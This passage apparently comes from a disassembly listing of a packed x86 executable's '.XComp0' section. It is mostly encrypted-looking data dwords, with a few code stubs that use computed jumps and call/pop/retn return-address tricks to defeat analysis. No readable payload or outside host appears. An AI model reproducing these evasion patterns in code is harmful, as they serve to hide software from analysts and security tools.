0F9995AB8h, 38B14074h, 453CA05Bh, 986790D5h, 0A1793E15h dd 0B9702839h, 11610DB2h, 6D60973Ch, 0FA1C61B6h, 0C86F4DDh dd 0D3FB4FB1h, 191EE11Eh, 69882CC1h, 0D13B2F98h, 835839C6h dd 20D91CBEh, 0ADB202DAh, 576A3AB3h, 20000013h, 0ACF106F5h dd 236AED04h, 0AEF308EDh, 206DEA0Dh, 7BF407F6h, 6C892BC0h dd 8776A2EFh, 6F862D74h, 8570A5ECh, 3E97F772h, 9F20D4A2h dd 136F6D1Ah, 276126Bh, 8EEE9ADFh, 0DF025BE5h, 0D310039Ah dd 5E9F3908h, 985F94D9h, 0C4B1D5A6h, 0D0B93CDDh, 9C93B213h dd 0D80BEA09h, 61A60803h, 8A4944B1h, 61E0634Dh, 0D57ED648h dd 9ADF024Bh, 63BB00F3h, 0A01099FAh, 218C879Ch, 9C359Dh dd 519F2610h, 805356A7h, 0D51CD31Ch, 0EC6CCD0Ah, 0C9F2610h dd 8BC4BA7Dh, 6B827BD0h, 0B502F526h, 11A06h, 0F1269A00h dd 27BC1406h, 0A67D708Dh, 0DF0229B3h, 19DE959Ah, 1FB94EB0h dd 49D37CDEh, 0F59ADF02h, 4274B9FEh, 0CA33CBB3h, 9ADF023Eh dd 725B9A3Bh, 642E47B1h, 335C9E19h, 0E1CC0FD4h, 0C05CF55Dh dd 0FE9ADF93h, 0DF93CB55h, 1C80739Ah, 0FFB79265h, 0F89ADF8Fh dd 0E7E9FEDBh, 7B97B537h, 9705D648h, 0B24A9B8Dh, 9501A104h dd 2A232411h, 0EE236AEDh, 38F58607h, 23943D1Dh, 619CA0B9h dd 0EEFA2484h, 0C6F90B25h, 6E87A631h, 368630Ch, 0C798995Ah dd 5ADBD557h, 0A507D4A7h, 0D8F78CEEh, 0EBD5B019h, 802517D2h dd 4B23F82Bh, 79E114C6h, 0E437BEF4h, 55820767h, 9518E710h dd 0CB8801BEh, 66974110h, 0B2865D93h, 0E58F3AADh, 11EAh dd 66F100B3h, 0FDFAF717h, 68F302B0h, 0FAFD0019h, 67F401B3h dd 7E982BE8h, 81357C7Fh, 7B9AE774h, 85327F7Ch, 0A64E572h dd 20D5D771h, 1A9A8F9Fh, 1901F426h, 28C18C1h, 39389ADFh dd 0CC21797Eh, 6DDD027h, 1E476CB1h, 0D78CFDF8h, 13250F0Ch dd 7D893FF2h, 86499C59h, 0E53A836h, 741069E9h, 859ADFD2h dd 6B28A154h, 5C4D9291h, 6FA3C0F5h, 2DBA3D82h, 42AF6310h dd 0B77F75Fh, 20E3F24Dh, 12C5963Eh, 0ED6B1E1Bh, 2C3518E3h dd 929CA063h, 5B7FC7C1h, 16C95E57h, 3B21A93h, 2AC79F26h dd 456FE2CBh, 2CC735B8h, 2B967EAFh, 6095DAB0h, 0DA25CC03h dd 10F0107h, 835884E6h, 7BB6528Bh, 0D0E382h, 0E630000h dd 9A5D7EE7h, 3EAF742Fh, 132E9265h, 0DE6A136Bh, 869ADF02h dd 216B28Bh, 0D3CE9ADFh, 1B3EF308h, 0A0569B43h, 3C7F5455h dd 0A03914E1h, 0C932CA9Ch, 9F26293Fh, 4737ECA7h, 3FBE5AAFh dd 262942DEh, 927A039Fh, 0BF975F86h, 0E8D126DDh, 23D20186h dd 0F8D775D8h, 73D39F26h, 92FBFA1Eh, 0AE2906D1h, 157207D8h dd 293115AEh, 941CA851h, 0C9C89F26h, 48C30C0Eh, 5354827Bh dd 68000000h, 0D64861E0h, 24BD57Eh, 0F39ADFh, 76FB63BBh dd 0CD34B540h, 0C611CE27h, 0A033A663h, 6B89DE9Ch, 0AF1AD9F8h dd 0E5BE2FF4h, 0D2BBB612h, 0FD176Ch, 33FA62BBh, 8BF69F26h dd 4175FAD0h, 0AEE767B4h, 8E827BB1h, 3863C86Dh, 0E43746F7h dd 73Bh, 74C9B100h, 2B00000Bh, 2B661E0h, 4119FAF3h, 0DF020C98h dd 6B9B89Ah, 4526CF14h, 2F9A6590h, 2EC7A774h, 9CDF5100h dd 1459C1C0h, 0B99A13E2h, 2AC71CFEh, 0A25DA039h, 7094A7B8h dd 0EA1A369Ch, 378471A3h, 0E1155AB4h, 5D7AC714h, 0BF18C09Ah dd 9F20B925h, 76777E36h, 73483B9Dh, 0A3D3A40Ah, 80A8F17h dd 0FD34C714h, 95DA82DCh, 27CE045Fh, 0E532EDA6h, 20F09B84h dd 52860B99h, 5F7458A3h, 47B06DEBh, 9ADFCCBDh, 0B2976A29h dd 0C7B76CB6h, 6A639242h, 770C6EA9h, 2EC39B5Ah, 0AFAC6F86h dd 349DB562h, 9ADF1FA8h, 27A25D14h, 0A27C9D94h, 5D50A54Dh dd 0EE0BA786h, 7BD328FBh, 0E46C8EE3h, 0DF1FF18Bh, 69B66D9Ah dd 0F558A380h, 9CA0260Ch, 34C1EF74h, 0CB0E05E7h, 0A7BB6B1Bh dd 7323D1FCh, 3C00000Fh, 90DD5A99h, 37869160h, 92DF5C99h dd 3C819669h, 5FE05B9Ah, 18E50FA4h, 0DB1ABE03h, 13E21160h dd 0D91CB908h, 0DA83DB5Eh, 9F20DB4Eh, 139301F6h, 7B719F2h dd 4D75079h, 0DFA9A329h, 0D59B929Ah, 0DFA9E07Ch, 81875C9Ah dd 10948140h, 8B2805BAh, 5DA2816Ch, 0B04F68FDh, 719B25CEh dd 50439ADFh, 3C4AB38Bh, 269CDF23h, 0C7C233E1h, 619E617Ah dd 0BC3F3296h, 6DEE8162h, 0E8622BBh, 433E9F20h, 0BDAB9162h dd 62B54470h, 0F11F58D5h, 39FB4191h, 0D880DA25h, 13FE0F07h dd 0BFFCA432h, 2012485Eh, 0C1F57A99h, 1DDAB934h, 1156C8BBh dd 0A19415E8h, 0C281E8B1h, 64B76CC3h, 0FB1D720Ah, 4370BDFAh dd 0BD5AA7B4h, 85BC4F3Ah, 0D62FA64h, 904409ECh, 70AB6861h dd 0DF36180Dh, 330B069Ch, 0B69632CBh, 534E9F20h, 0A64EA688h dd 20B6B34Dh, 0A3782B9Fh, 39BE39DEh, 4638BFF4h, 0B6BB45AEh dd 70239F20h, 23BB42ABh, 211F20B6h, 7253A040h, 0BB009B30h dd 0AA531130h, 1F20F41Eh, 2618CBC6h, 0ECA3ADCEh, 3D12135Fh dd 834A9F7Ah, 697A195Fh, 2B1FA6E3h, 0E6C215A8h, 457A7B99h dd 0AE994874h, 0F8BC2D2Dh, 0E2Eh, 1A1DDCF7h, 41D61BD3h dd 1C1FD6FCh, 46D124D5h, 1B20DDF7h, 0A254E7A4h, 5D79C853h dd 9F569BA0h, 597EC358h, 0BE20999Eh, 20D98B15h, 5646339Fh dd 8846F213h, 0A76C97ECh, 4F6AC754h, 4CA20EEFh, 92F3BE90h dd 20DB1ABBh, 0DE89953Eh, 3A399CDFh, 0FD668BE0h, 57E41FD6h dd 0F0ECED0Ah, 0F007AE23h, 0E5BB26FDh, 0C92CC933h, 3C003E0h dd 0DA4C4A1Bh, 0AEB26C6h, 483DC730h, 0EAA99F20h, 0AD42BC2Dh dd 3AB75B08h, 88A53285h, 5A780D6Dh, 1C71329Bh, 0D192FBFAh dd 0BFCB2406h, 2399201Ah, 60790E70h, 58005A9Dh, 0C813E213h dd 0EA075C79h, 6CC1A20Bh, 6241AC4Bh, 8C28BD9Dh, 54A77C6Dh dd 356677D7h, 1C9CFB12h, 0A924D300h, 9BE235EAh, 9DC6ED76h dd 7F447F76h, 13C07D0Eh, 6DCD12DFh, 0DF272B04h, 80DA999Ch dd 0BC2DC4EBh, 0D4A85CC9h, 518EC0C2h, 0B25FA486h, 29F607B1h dd 0C332DF2Eh, 0CE5A035Bh, 0B9F201Dh, 0C49F0AE7h, 9C5419D8h dd 3C7F5455h, 1D6CEC51h, 0E25F9F20h, 57FF57C7h, 201D62FEh dd 3627DA9Fh, 9F201DAAh, 0CA2BCD12h, 0FCBF04DFh dd 4F69B922h, 88D99920h, 0E6588B6Ah, 0CF5BE58Eh, 10039ADFh dd 730B73CBh, 0DFCF7E0Ah, 0F02BE69Ah, 998174A1h, 6C862DC8h dd 0DFEF7903h, 0D32EE59Ah, 91E02A5Eh, 0C1469164h, 62FB577Ch dd 9ADF8BC6h, 4D40837Eh, 0BBEB10F1h, 8E639015h, 667FBE49h dd 0E9075CF4h, 586ECF0Ch, 89CDF54h, 63A05D77h, 0B14476FBh dd 0EAFB7366h, 8430D66Eh, 943B8C75h, 0FE33C813h, 0ED039D36h dd 0C8BB9F20h, 8D8375DDh, 2AF5915Bh, 0DC19BB50h, 85E532F1h dd 797898EDh, 0D76EDB3Eh, 5D14995Fh, 0ADDB869Ch, 0C66E5FADh dd 0C5Ah, 0F601F023h, 6DEA07A7h, 0F803F220h, 6AED10A9h dd 0F704F123h, 8E28BB78h, 71A5EC6Fh, 8B2A7784h, 75A2EF6Ch dd 9AF47582h, 20DFA741h, 6A6A1F9Fh, 0BF0DF213h, 27A24F7Fh dd 6765996Ch, 0A45120DBh, 0E891E951h, 9ADF005Ch, 1C80759Dh dd 0C7279265h, 3AC62Fh, 0EFA29ADFh, 0A0B0652Ch, 0DF00AD37h dd 0A55A199Ah, 0BD38DD24h, 0A45185CCh, 8F4CA729h, 0B883DE5Eh dd 15B401E2h, 0FDBC417Ch, 0B73E73BAh, 87F12AA4h, 13828874h dd 76000000h, 995C7E13h, 62FB25Eh, 45CA0000h, 0AA696491h dd 37A0836Dh, 718AA9BAh, 0A5068986h, 4D68C552h, 0DB590CEDh dd 995897D7h, 5253FC5Eh, 109CA0D9h, 0C348AA11h, 0A963F11h dd 0B29F26E9h, 56B704BFh, 4A2AB89Ch, 0DC63B5C6h, 2C1022CFh dd 0C4E55CEFh, 456D025Ah, 0A5126BB0h, 1B4A52B3h, 0A38E1AC3h dd 3B3649D4h, 94C59688h, 4EA99CCCh, 0E0513CA5h, 8C28C2AFh dd 90AD5E4Fh, 53800575h, 236A29A4h, 58B205ECh, 0D7D269FFh dd 6E076F4Fh, 4C284AD2h, 6844978Ah, 953CD1A9h, 2CC1995Eh dd 9F38DE87h, 1BE98619h, 0FFEA3545h, 155CDF24h, 0A54C83E0h dd 69B46F24h, 0D6BCF5CFh, 0F7341ACh, 0D800000Bh, 0F439BE3Dh dd 0DB2235BCh, 0F63BC035h, 0D82532C5h, 0C33CBF3Eh, 0B4417308h dd 3FBE5AA7h, 0B73E75BCh, 3DB85DA4h, 76DF3FBAh, 9F20DCEAh dd 2637A552h, 3E8306F1h, 11543B9Ch, 820390ACh, 0BD2812F8h dd 0AF747EBAh, 599C3ACFh, 0E368B370h, 5EC0D958h, 0C1E2E5F6h dd 536BFB2Eh, 5E4FA588h, 60819CDFh, 1AC5923Bh, 0D5B7044Bh dd 0C3943C1Eh, 4B678057h, 0D59353AEh, 4061F07Fh, 5BA9186h dd 0AF466BB2h, 45B065ACh, 7192EA44h, 53B2D27Eh, 0E682DB0Ah dd 5E9F20B2h, 6EC358A3h, 708AF34Bh, 0F09920E0h, 13C44931h dd 0ED2AE9E4h, 1CDBF88Dh, 0A7419A42h, 1F9ADF60h, 3A949764h dd 9BF203B5h, 570C7D74h, 0BF18BD84h, 0D1205710h, 47427D75h dd 58016E7h, 4B36E3A2h, 0D6FE8AF3h, 0AB669ADFh, 61F72170h dd 0DFD66CF8h, 0DB74D89Ah, 9ADFD641h, 6B906FDh, 0B3CB2BB3h dd 13E10CADh, 0A12h, 3EB938DBh, 2532BFEFh, 40BB3AD8h, 2235C8F1h dd 3FBC39DBh, 467003C0h, 0B95DA4B7h, 4372BF3Ch, 0BD5AA7B4h dd 0E23CBD3Ah, 20DDEF79h, 32A2579Fh, 220F213h, 0A6DE9A12h dd 4E67C651h, 677783ECh, 8C6D9CDFh, 0C05DDFA3h, 0BE35DC52h dd 10CB18CBh, 85F5ACh, 851E06D3h, 4876E8E4h, 8431807Bh dd 0CAC332DFh, 1F64D609h, 0C5B803F2h, 7CDEF736h, 5F29A6D3h dd 54A55C99h, 0ADAE6CD0h, 8F7034B5h, 58000009h, 74B93EBDh dd 5BA2B53Ch, 76BB40B5h, 58A5B245h, 43BC3FBEh, 34C1F388h dd 0BF3EDA27h, 37BEF53Ch, 0BD38DD24h, 0F65FBF3Ah, 9F20DD6Ah dd 26B725D2h, 2B8306F1h, 36D22BD3h, 0AE9ADF02h, 2FE8AF3h dd 0AB669ADFh, 0E3F42170h, 0D4E0C950h, 46477C9Ah, 0EF256ACAh dd 0D95EB106h, 116E116h, 73E25089h, 0FA4F3088h, 0C1F026DEh dd 17648B50h, 58000000h, 9D587E13h, 80A4772Ch, 37Dh, 8782DBFCh dd 8A4E969Eh, 7E13634Dh, 772C9D58h, 0BD38DDA4h, 0E7023FCCh dd 51CCDE77h, 7D749CDFh, 777E337Ah, 0CE90B76h, 9731CA32h dd 4F9F20D1h, 0F7848754h, 47E17A3Ah, 949F20D1h, 4013965Dh dd 5AA55Ch, 86DD1358h, 6F5AA550h, 0BA3BDDB4h, 832F1CFDh dd 9E559920h, 21BB14BCh, 9D9ADF03h, 0A13911E6h, 304A039h dd 0C1C09ADFh, 6B8A27F6h, 76126B13h, 839ADF03h, 3E35A74Eh dd 3B1C7E79h, 0F151C6B1h, 0B57C3F68h, 8DF4F500h, 0D714E56Bh dd 359A39F9h, 0DF1FA994h, 0CCC79ADFh, 41562717h, 91BCDF88h dd 8734A572h, 0F791EAAAh, 6F9ADFE9h, 660F6FB4h, 9CA0C4D1h dd 0D149948Fh, 0AAA7BAA1h, 84C753Fh, 0E2150000h, 19B90813h dd 0E4125FDCh, 1EB70611h, 0E3155CDFh, 0C9860512h, 0DA5DA03Ah dd 85925F93h, 0DD5A9938h, 87946390h, 0B54FA806h, 319F20E3h dd 0F2137C78h, 0B05D1CB3h, 14599E95h, 0CE2618DFh, 725B9A39h dd 383CC8B1h, 983D9ADFh, 33887B5Dh, 3D13E44Ah, 0A8C4E5F4h dd 33E0AD6Ah, 522AB61Fh, 0DF929ADFh, 0C727A924h, 1ED49942h dd 0C2FDD6D7h, 0C79D1AF5h, 0FDFD13B6h, 3C74DA18h, 0E0AD6AB5h dd 155AC433h, 47C417DEh, 74A78EC7h, 251F88h, 0B71F0000h dd 0DF3D821Eh, 0F9293A9Ah, 8713394Eh, 567BD20Dh, 13785C9Fh dd 276126Bh, 33EE9ADFh, 1863CE8h, 26B60000h, 0B63D74F1h dd 5AA36033h, 0ADB48FE6h, 835A0AC3h, 4C000007h, 80CD4AA9h dd 4796A150h, 82CF4CA9h, 4C91A659h, 4FD04BAAh, 28D5FF94h dd 0CB2ACE13h, 23D20150h, 0C92CC918h, 0A73CB4Eh, 9F20E37Eh dd 26C331E6h, 3E8306F1h, 67FC5E99h, 38E2AF4Eh, 0CC0FC4C5h dd 57E43FE1h, 8AF35F94h, 9ADF02FEh, 2F58FE8h, 0B2719ADFh dd 83984B46h, 74DED20Bh, 0B65DB288h, 42954E3Fh, 1499h dd 7E130F00h, 7330995Ch, 0FA7CA8h, 0C9760000h, 0F4h, 22F2132Bh dd 2B9C1068h, 6DC457A4h, 44B362A7h, 0DF8C4FD9h, 0C7FCF79Ah dd 516AFF57h, 0F6683BAEh, 0DF8CC35Dh, 33887B9Ah, 0DFDFC0DAh dd 73DC809Ch, 9F205FE9h, 5FE27ED7h, 0A75A9F20h, 99813E35h dd 56579E54h, 0EF4F3A7Dh, 21D40287h, 205FAC38h, 9E59189Fh dd 0A991B489h, 5F629750h, 0C3160D99h, 0ADAE1663h, 9BDB8944h dd 64000006h, 68B542B1h, 5FAEA948h, 6AB744B1h, 64A9AE51h dd 37B843B2h, 30CDE77Ch, 0C332E62Bh, 2BCAE938h, 0C134E130h dd 25BB336h, 9F20E066h, 0E0AB29DEh, 0AE3AA361h, 169ADF02h dd 16C92CC9h, 840971C9h, 0F752A54Ch, 9CA1D549h, 0AC38A13Dh dd 189F264Ch, 2FB4A659h, 86E77481h, 9F264CF9h, 8502D7FCh dd 0FBFA176Dh, 0E6274AAAh, 1E8F6E87h, 4BA07A45h, 865D50A5h dd 2BF00DA7h, 9F39CE30h, 1ED4995Eh, 130ED6D7h, 0A4000006h dd 0D64861E0h, 0DF516D7Dh, 56FF579Ch, 9F20D1CAh, 603C7F72h dd 0CB18E50Fh, 5F1429E2h, 9F7F44B1h, 0AA369F37h, 129F20D1h dd 0D162FE5Fh, 27DA9F20h, 64E17AD4h, 1A995FECh, 77D61FD5h dd 742F9A57h, 990E6EAFh, 0FAF3ADADh, 5C52Ah, 8C6B8E00h dd 6392428Fh, 8A6B89D8h, 6897408Dh, 896C8ED3h, 0C1520D8Eh dd 0C51E617h, 0BF0E09E8h, 756E110h, 8D100BEAh, 0E13CC831h dd 0EFA89F20h, 0A361E005h, 0DF02AE3Ah, 0A85B169Ah, 2BC91EB6h dd 0A45183CAh, 0CCAD6A29h, 9CDF51A2h, 76FB631Eh, 6033B641h dd 892EC39Bh, 0CCBD34DCh, 1D72CC17h, 0D58EFFF6h, 1BB80502h dd 0E35AF1DCh, 6FF58C2h, 7E992083h, 3E37DD6h, 0A85B9ADFh dd 0CFE87953h, 19E6BD30h, 0F007AC41h, 567E136Bh, 0D322D29Fh dd 599C3908h, 4366DB70h, 3A8182DBh, 6C019CA0h, 663DB047h dd 3E973791h, 9F262AA2h, 619C671Ah, 0A7BB6811h, 0B35FFEAh dd 0D4000005h, 0F845D221h, 0CF1E19D8h, 0FA47D421h dd 0D4191EE1h, 0C748D322h, 0A05D770Ch, 53A2569Bh, 9B5A79C8h dd 51A451A0h, 92EB43C6h, 9F20E6F6h, 133BB96Eh, 276126Bh dd 4C839ADFh, 7B4033A5h, 84F601B6h, 6096D5FFh, 1C8D4A95h dd 6075C1A2h, 15901BBDh, 0FA567BC2h, 0DF29C761h, 0A3667F9Ah dd 0C2606DB3h, 0B04931EEh, 9ADF2B14h, 90ED1D0h, 0DF14BF7Eh dd 0A73CB18h, 9CA01AB5h, 3BBA58ADh, 0F983EC52h, 659F261Ah dd 42A671AEh, 79DF5E4Fh, 799F261Ah, 1E574D0Ah, 0FE827BC7h dd 7D13A5DDh, 4D8AA894h, 419Eh, 61E01200h, 2AE3AA3h, 7AB9ADFh dd 0B824FFEAh, 0CF1406B9h, 6392401Fh, 0A176A96Ah, 106330C9h dd 50A19CA0h, 7F5455A4h, 64E44944h, 849F2610h, 75C3205h dd 52CC0FEEh, 827BD109h, 1639Ah, 0F1260E00h, 6BB83F74h dd 5ADBFC82h, 41E0B6DFh, 24D69B60h, 0EF2469D1h, 9CE8508h dd 0DF8431A0h, 9CAC332h, 339364D6h, 0A4FBDF9Ch, 9AE7D225h dd 0E07CD57Dh, 5C9ADFFCh, 58005AA5h, 2415DC13h, 9ADFFC98h dd 0D2004D44h, 2EE9AA23h, 0EAB0D129h, 876EA4A3h, 0DA30B41Eh dd 0B205BA3Dh, 0DF941F57h, 1EBB589Ah, 0FA04822Eh, 5ED9260Fh dd 5181E20Fh, 106A29A4h, 0DF6FDD67h, 558A899Ah, 8372A0E5h dd 77B64538h, 0DECF26CCh, 36B73E73h, 0FD5DA25Dh, 3EAF4E68h dd 1FB89265h, 9CA0425Ah, 9F5E7708h, 0ADAA752Eh, 4819B84Dh dd 865D50AFh, 38BFF439h, 0A2D958E3h, 0D5E5C91Bh, 0D6487BA5h dd 5A0DCA7Dh, 3F293A99h, 9F34C31Ah, 0D97401Ah, 0B99ADD04h dd 0E89BFDBAh, 0A4C7F176h, 0E139866Dh, 37BEF479h, 0E07CDDB6h dd 5C9ADD04h, 0B5AC3CA5h, 8E34B286h, 8B6CCE49h, 0C27412BCh dd 4498E84h, 8EDA23D2h, 6BADB26Ah, 31CB282h, 32E50000h dd 0C9E938C3h, 34E22F2Ch, 0CEE736C1h, 33E52C2Fh, 0F9B635C2h dd 0AAAD506Ah, 0B542AF63h, 0ADAA4968h, 0B744B360h, 0E57FD836h dd 619F20E4h, 0F4262CA8h, 4F94F601h, 7C57529Fh, 2AF39A2h dd 5C179ADFh, 2D25D29Fh, 0DF0238C4h, 32EDA49Ah, 0BD47B048h dd 299ADF02h, 0C6AAAD6Ah, 7D5A7E13h, 0FC7F61A3h, 0FCED3236h dd 0EA47D427h, 0FE1A6FCFh, 2AB61FFFh, 929ADF8Dh, 9A421CDFh dd 8D0F9942h, 0BCB79ADFh, 9F751EFFh, 66AB9CA0h, 0F5FCB3B0h dd 1FE41FF4h, 9F894FAEh, 1AA99F26h, 456EA79Dh, 0B94E827Bh dd 34EFDA1Bh, 13038E7h, 26AC0000h, 3E8306F1h, 5901599Ch dd 9316DD14h, 2C35DC0h, 6A7B9ADFh, 945D4CBh, 1FDC27C8h dd 78674FAEh, 0F55D9ADFh, 0DF60C05Ch, 77E07C9Ah, 9ADF60EDh dd 92659A59h, 0E3B126CBh, 96E24F57h, 0F3B214Eh, 417EA3B0h dd 0AE479C7Eh, 2F8F8C4Fh, 0D2BB3ADAh, 5A77C611h, 0A499329Bh dd 5C31C0EFh, 9A843FB6h, 928C8EC9h, 0BB00B930h, 4576FB63h dd 0A70465B2h, 1D9CA07Bh, 0E746D166h, 715C9B3Ch, 952FC8B2h dd 519F2643h, 44AD8D52h, 995A3330h, 0ED85F5ACh, 0DDB3F884h dd 0F61B649Ah, 0AD58EFFh, 0F4056DCDh, 4171F43Bh, 875A39B4h dd 8D30E6Dh, 0D8409F39h, 0F8FFB6F8h, 0EEC31EF5h, 88935096h dd 8BEA5526h, 873FC716h, 98CBED34h, 74457A79h, 0ADB1B2BAh dd 9782329Bh, 60000001h, 6CB146B5h, 63AAAD44h, 6EB348ADh dd 60ADAA4Dh, 3BB447B6h, 2CC9EB80h, 0C736E22Fh, 2FC6ED34h dd 0C530E52Ch, 0FE57B732h, 9F20E562h, 13AF2DDAh, 5BA0577Eh dd 2911E416h, 0B61F33E4h, 9ADF022Ah, 0A924DF92h, 0D02A2DEAh dd 235CF28h, 0F2B19ADFh, 3CBB5825h, 0F126D5BFh, 3D431406h dd 6C03C5EEh, 48B7602Dh, 60498E45h, 8D7089DEh, 0AD74471Ch dd 106AED08h, 0C569D4EFh, 0DF13902Ch, 6C554C9Ah, 498E34B2h dd 0C3487FBEh, 0EF243D43h, 6475E51Ah, 0A42282E0h, 0EF4F8C13h dd 25D80287h, 2BF277D2h, 8AF29CDFh, 20AB57F1h, 4CF60F9Fh dd 2A4AB62Fh, 4274B906h, 9E593AB3h, 0E846473Ah, 0C75DE790h dd 0EC099F20h, 554593CBh, 0DDC8FB7Ch, 336EF692h, 81D00B83h dd 16E30F54h, 0A15E9B37h, 5AF3496h, 0E21EAA53h, 0CBC69F20h dd 0F9BE9518h, 6787F34h, 24A55881h, 0BC41AC6Fh, 334F6337h dd 6D479842h, 6D29B5C3h, 0A0F1DC27h, 0B5078271h, 0A048793Eh dd 58419BBCh, 0B5498BE1h, 874A0D62h, 0E58EE66Ah, 0F4C8E85Bh dd 932D1003h, 4BF4C8E8h, 41908B58h, 0D421CF94h, 0CB209E0Fh dd 5FDFCA27h, 0C8E86AF6h, 0E41FD2F4h, 4EB14A17h, 7C7997ECh dd 7EFE4E3Fh, 0E8E37DD6h, 0A85BF4C8h, 653B0053h, 8A03F220h dd 923F0EC9h, 6C89D863h, 369E2089h, 0C8E8039Dh, 0F3C8BBF4h dd 1DD1h, 0D88C6D00h, 1D964A2Dh, 13836DAAh, 276126Bh, 15EE9ADFh dd 0A7F41B0Ch, 9F5CA7CBh, 0F3265084h, 9B388904h, 0F120715Ch dd 9E3A8702h, 0F1236E5Fh, 9E388904h, 0F2236E5Fh, 99378A03h dd 0F020715Ch, 68F68801h, 73CEh, 57242489h, 4BFh, 247C0100h dd 1C685F04h, 8900006Dh, 89532434h, 4C381E3h, 83000000h dd 1C8704EBh, 0C895C24h, 0D4466824h, 348B05FFh, 4C48124h dd 54000000h, 83240C8Bh, 0BA5204C4h, 8, 3289CA01h, 8324148Bh dd 34FF04C4h, 0C4835924h, 24348B04h, 81E18951h, 4C1h, 4C18100h dd 87000000h, 0E95C240Ch, 0FFFA9A35h, 699BB7Dh ; --------------------------------------------------------------------------- loc_5D9FE8: ; CODE XREF: .XComp0:005D8998j mov eax, 5FFE982h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 4Ch, 87h, 0Ch dd 0D9AA3766h, 93C5BB38h, 6A12B6Bh, 0ED9D470Ah, 0B9A40A77h dd 81ACBB72h, 68F67C57h, 994A676Dh, 9D58566Ah, 478DF620h dd 310A5136h, 0C1DB570Dh, 16845A16h, 0A4CBCC1Ah, 9B28352Ah dd 3EE25A1Fh, 0E525220Dh, 39E8B733h, 0D6F00E3Dh, 1749EA46h dd 8311A61Bh, 7497FC27h, 4DBE1303h, 0AC7BE965h, 0AB194D32h dd 6E6F6F25h, 831A3C51h, 199DF002h, 10E871h, 0A72B0000h dd 39391B67h, 0F3F9ABBFh, 528C9AAFh, 59F9A7F7h, 81F88B66h dd 6753C1h, 81D22B00h, 7E2461D6h, 0A34FF57h, 14E9h, 95E9AB00h dd 8C25A4AAh, 0E4D183C7h, 305AB3DDh, 9E1166EEh, 81F55814h dd 7D39B3F0h, 0CE816649h, 0F081638Ch, 26740A78h, 0A3CE8166h dd 6DC081C2h, 0F4AE0CCh, 18Bh, 0E850F800h, 0Eh, 9534B5E4h dd 0C7198CD7h, 0FBDB3B86h, 8F5E01D4h, 8BF51104h, 2EA83F9h dd 4AF7BF0Fh, 64FA814Ah, 0FFFFF99h, 0E85h, 0F08B5300h dd 1FE95Bh, 893D0000h, 0F3C29BAh, 383h, 0F88B6600h, 0FFFF74E9h dd 0ECF231FFh, 48A03881h, 3EF68D9Eh, 11E808h, 0D3230000h dd 8B1A358Ch, 0A516DD59h, 78C25358h, 0F6EDFC2h, 180h, 0F59FC00h dd 680h, 0D0C38100h, 81453B4Ch, 6A27C1h, 68F9B300h, 1A5Bh dd 0BB118B5Eh, 0E41F814h, 0C6F5C281h, 8166003Dh, 8188B9EFh dd 0C63EF2h, 0E8B86001h, 6140C351h, 0BE8DF281h, 830F31A7h dd 1Ah, 14E8h, 79111B00h, 0E726838h, 808D583Fh, 0C79B7F98h dd 0A6D43AE8h, 11895BB6h, 306EF381h, 0E9833F50h, 67C08102h dd 4973312Dh, 83FB8B49h, 850F01EEh, 13h, 24E9h, 0FAB7FE00h dd 685A7BAFh, 1B4A1F84h, 60B79EF2h, 2AF65DB9h, 7EE9611Ch dd 2AFFFFFFh, 35B1B175h, 66A0362Dh, 0B68D8D23h, 6A05FFECh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0E58AC353h, 6840FACh, 29000000h, 0F9291DBDh dd 0DD8D8905h, 8905F90Ch, 0F911B9B5h, 0C185C705h, 0C405F926h dd 6A000065h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0E8FCC356h, 37DA6B19h, 85C7EF69h dd 5F900FDh, 0 ; --------------------------------------------------------------------------- xor ax, 7696h push dword ptr [ebp+5F9275Dh] push 0 push ebp call sub_5DA272 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA272 proc near ; CODE XREF: .XComp0:005DA26Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5DA272 endp ; --------------------------------------------------------------------------- dw 0FFC5h ; --------------------------------------------------------------------------- xchg eax, ebp aad 20h stc add eax, 7E8h add [ebx-71h], bh db 2Eh cmp eax, 5AA99707h or eax, [ebp+5F93539h] push 0 call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5DA324 ; --------------------------------------------------------------------------- dd 0A58629D4h, 89DF208h, 753736DAh, 1800B63Ch, 0D129D9CDh dd 99704A52h, 7940855Dh, 0FA0228B9h, 31EA0B4Ch, 9DBFDB2Fh dd 7609F3F3h, 6C0AEE8Ch, 0D045AC2Fh, 0A0161E21h, 54EFBE86h dd 2A6A8CBh, 450A9198h, 2ACC21EEh, 0D371CE26h, 735D3FAh dd 1D021DDFh, 835DB707h, 2AB22767h, 0BDB7E72Ch, 0FAE3B8A8h dd 1DD30243h, 0D450BB6Eh, 0BF1862C4h, 96DC0FB0h, 78CF66F4h dd 0B6243649h ; --------------------------------------------------------------------------- loc_5DA324: ; CODE XREF: .XComp0:005DA2A6j lea ecx, [ebp+5FFEE1Dh] jmp loc_5DA33C ; --------------------------------------------------------------------------- align 10h dd 750EA883h, 561B6EBDh, 1CEF3682h ; --------------------------------------------------------------------------- loc_5DA33C: ; CODE XREF: .XComp0:005DA32Aj mov [ebp+5F90CDDh], ecx adc ax, 9925h jo loc_5DA353 mov [ebp+5F906BDh], ecx loc_5DA353: ; CODE XREF: .XComp0:005DA347j mov dword ptr [ebp+5F926C1h], 6728h push 0 push esi call sub_5DA368 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA368 proc near ; CODE XREF: .XComp0:005DA360p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5DA368 endp ; --------------------------------------------------------------------------- test al, 0C9h push edi mov edx, [ebp+5F926B5h] mov dword ptr [ebp+5F900FDh], 0 push 0 push edi call sub_5DA396 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA396 proc near ; CODE XREF: .XComp0:005DA38Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5DA396 endp ; --------------------------------------------------------------------------- dw 0BB68h dd 8166911Ah, 663992E6h, 0FF8238BFh, 0F9275DB5h, 25BD2905h dd 0E905F931h, 0Eh, 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h dd 95FF074Fh, 5F920D5h, 0E857006Ah, 3, 